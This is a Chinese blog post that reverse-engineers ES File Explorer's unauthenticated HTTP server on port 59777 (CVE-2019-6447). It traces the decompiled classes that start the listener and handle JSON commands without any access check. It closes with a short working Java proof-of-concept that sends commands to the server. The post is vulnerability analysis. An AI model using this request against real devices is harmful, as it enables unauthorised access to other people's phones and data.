【逆向实战】ES文件浏览器未授权访问漏洞(CVE-2019-6447)具体分析及利用

/作者:Kali_MG1937
CSDN博客号:ALDYS4
QQ:3496925334
未经许可,禁止转载/

漏洞简介

CVE-2019-6447是Android端上的一个知名软件:ES文件浏览器的未授权访问漏洞
漏洞造成原因主要是软件在启动时会创建一个端口为59777的HTTP服务器
并且软件未对HTTP服务器的访问做任何权限检查
从而导致攻击者可利用此漏洞控制受害者的手机

虽然这个洞是在一月份爆出的，那个时候鄙人正在准备考试，所以没有关注。
所以拖到4月底才发现有这个漏洞，因为鄙人目前主攻安卓编程，所以对这个漏洞很感兴趣
所以决定现在来分析它

漏洞分析

0x01>POC解析

漏洞的POC已经被发布在github上了，先上去看看poc

poc作者对漏洞的描述就是:软件会在59777端口上开放一个HTTP服务器，可以通过构造特殊payload去请求服务器来完成攻击

接下来看看poc

可以看到poc是利用Python写的,poc作者先引入json和一些网络库后就开始编写利用代码了

execute_cmd函数内传入了三个参数:
addr//ip地址
cmd//控制受害者手机所执行的命令
package//手机软件包名
我想已经很明显了吧
poc代码就是通过构造特殊的json数据来命令ES文件浏览器对受害者手机进行一系列操作的

0x02>分析漏洞产生原因_服务器建立过程分析

要分析漏洞，首先要下载一个带有漏洞的ES文件浏览器
通过poc作者提供的信息，漏洞在4.1.9.7及以下版本存在

那么我下载一个4.1.9.6版本进行分析
因为没有动态分析工具，所以我选择盲跟踪的方法来定位漏洞
（表示分析完漏洞后肝少了一个）
分析工具:Eclipse,Jd-gui,apktool,d2j-dex2jar
不用我多说了吧，先利用dex2jar将软件dex转为jar
利用jd-gui转化为java代码
我先在代码中搜索漏洞利用命令的其中一条:"getDeviceInfo"

发现es/qf.java中包含着漏洞服务器的具体代码

经过一番搜索
发现com/estrongs/fs/impl/adb/c.java也与漏洞相关联
这里先不对这个java文件进行分析,在下文会进行分析

接下来先利用apktool反编译apk的Androidmianfest.xml文件
poc作者说明了：
软件会在启动时在59777端口上建立服务器
那么就要先看看软件入口了
先看xml文件

软件入口在:
com.estrongs.android.pop.app.openscreenad.NewSplashActivity
但我通过分析发现
这个类只是对app的ui进行初始化
那么再仔细想想：
再软件启动时就执行的类除了软件入口还有什么？
对了！application属性中指定的name参数

com.estrongs.android.pop.FexApplication
先查看FexApplication类中最先执行的onCreate()方法

可以看到，oncreate方法内先后调用了q,s,r三个方法

经过排查，q()方法是对权限进行检查，r()方法是对ui的初始化
重要的是s()方法

上图中s方法先对sdk进行了一个判断和处理，这不重要，重要的是s方法又调用了u方法

u方法经过一系列权限判断后最终执行了B方法

B方法内的代码让我眼前一亮，事情渐渐变得有趣起来
它向com.estrong.fs.f类中的a方法传入了两个参数
"adb",com.estrongs.fs.impl.adb.c
没错，它传入了一个有趣的对象
就是我在上文中未分析的c.java文件
这个c.java文件主要用于执行一些adb命令，并且还和qf.java文件有着联系
代码已经执行到关键处
那么接下来一些繁琐的无关转跳全部略过，我们只看关键的信息

在传入参数后，代码最终执行到com.estrongs.fs.impl.adb.c类

并且最终将参数传入此类的一个a方法

a方法执行了一条adb命令！
启动com.estrongs.android.pop.app.AdbControllerActivity类
并且带上了两个参数
“AdbControllerActivity”，嗯，很有趣的类名，对吧

paramBundle获取了在c类中执行的adb命令中的adbRemoteIp参数
接着程序对paramBundle进行判断，若值不为空则继续执行
注意！程序在判断通过后执行了qf.java的b方法
又是一个与关键类相关联的执行
立刻查看qf.java文件中的b方法

向a方法中传入false
那么看看qf类的a方法

其中paramBoolean被传入了false
注意：其中有一句判断

if((f!=null)&&(f.c()))

f指的是一个建立套接字的线程
f.c()方法判断的是这个线程是否死亡
如果线程死亡，paramBoolean会被里面赋予true值
如果程序正常运行，paramBoolean会被赋予false

接下来的执行的代码会让你兴奋

59777，这个数字是不是很熟悉
没错，就是漏洞服务器的端口
那么我们来看看这个参数最终传入到哪里

paramString被传入"/sdcard"
qf类的e被赋值paramString
这没什么问题，对吧
关键是接下来
paramBoolean被赋予false
a被赋值paramBoolean
可是我并没有在qf类中看到有任何名为a的布尔值
我立刻查看了qf类的开头

qf继承于qi
也就是说qi内所有公共的变量qf都能操作
立刻查看qi类

可以看到qi类内的a修饰了protected
看来我的判断没错
qf类中的false值最终到达qi类
那么这里的protected boolean a=false;有什么用呢
看代码,我在图中做了注释

之前在qf类内传入的int值59777最终被传入到qi类内
最终在qi.a方法中被传入一个线程内

a方法中创建了一个套接字并开始监听59777端口
那么在59777端口上的服务器就建立完成了

可以看到在以上分析过程中程序没有进行任何访问权限的限制

0x03>分析漏洞产生原因_分析对服务器接收请求的处理

分析过poc后我们可以知道漏洞服务器通过处理特定json来返回相应的手机信息
服务器对请求的处理主要在qf.java文件中

代码先判断请求方式
接着对请求进行了一些简单判断，无错后直接进入执行
可以看到这段代码就是一个死循环
并且不断返回paramString1
在对请求进行处理时 程序对命令分析，并根据命令向a方法中传入对应的值，并且将传回的值赋值给变量paramString1并返回，显示在服务器上
那么来看看a方法
我这里直接做了分析和注释
直接看图吧

最终a方法返回了一个json，显示在服务器上
可以看到，在对服务器的请求进行处理时也没有做出任何访问限制
这就是造成漏洞的直接原因

0x04>利用Java构造POC

原理很简单，利用HttpUrlConnection向服务器发送请求就好
这里直接贴代码和截图

	public static void CVE_2019_6447(String command) throws MalformedURLException, IOException, JSONException{
		URL url=new URL("http://127.0.0.1:59777");
		HttpURLConnection http=(HttpURLConnection) url.openConnection();
		http.setRequestMethod("POST");
		http.setDoOutput(true);
		http.setReadTimeout(1000);
		http.addRequestProperty("Content-Type","application/json");
		JSONObject json=new JSONObject();
		json.put("command",command);
		DataOutputStream out=new DataOutputStream(http.getOutputStream());
		out.writeBytes(json.toString());
		System.out.println(json.toString());
		System.out.println(http.getResponseCode());
		BufferedReader br=new BufferedReader(new InputStreamReader(http.getInputStream()));
		String line="";
		while((line=br.readLine())!=null){
			System.out.println(line+"\n");
		}
	}

到这里，分析和利用就正式完成了，虽然技术含量不高，但还是学到了很多东西，还请大佬们多多指点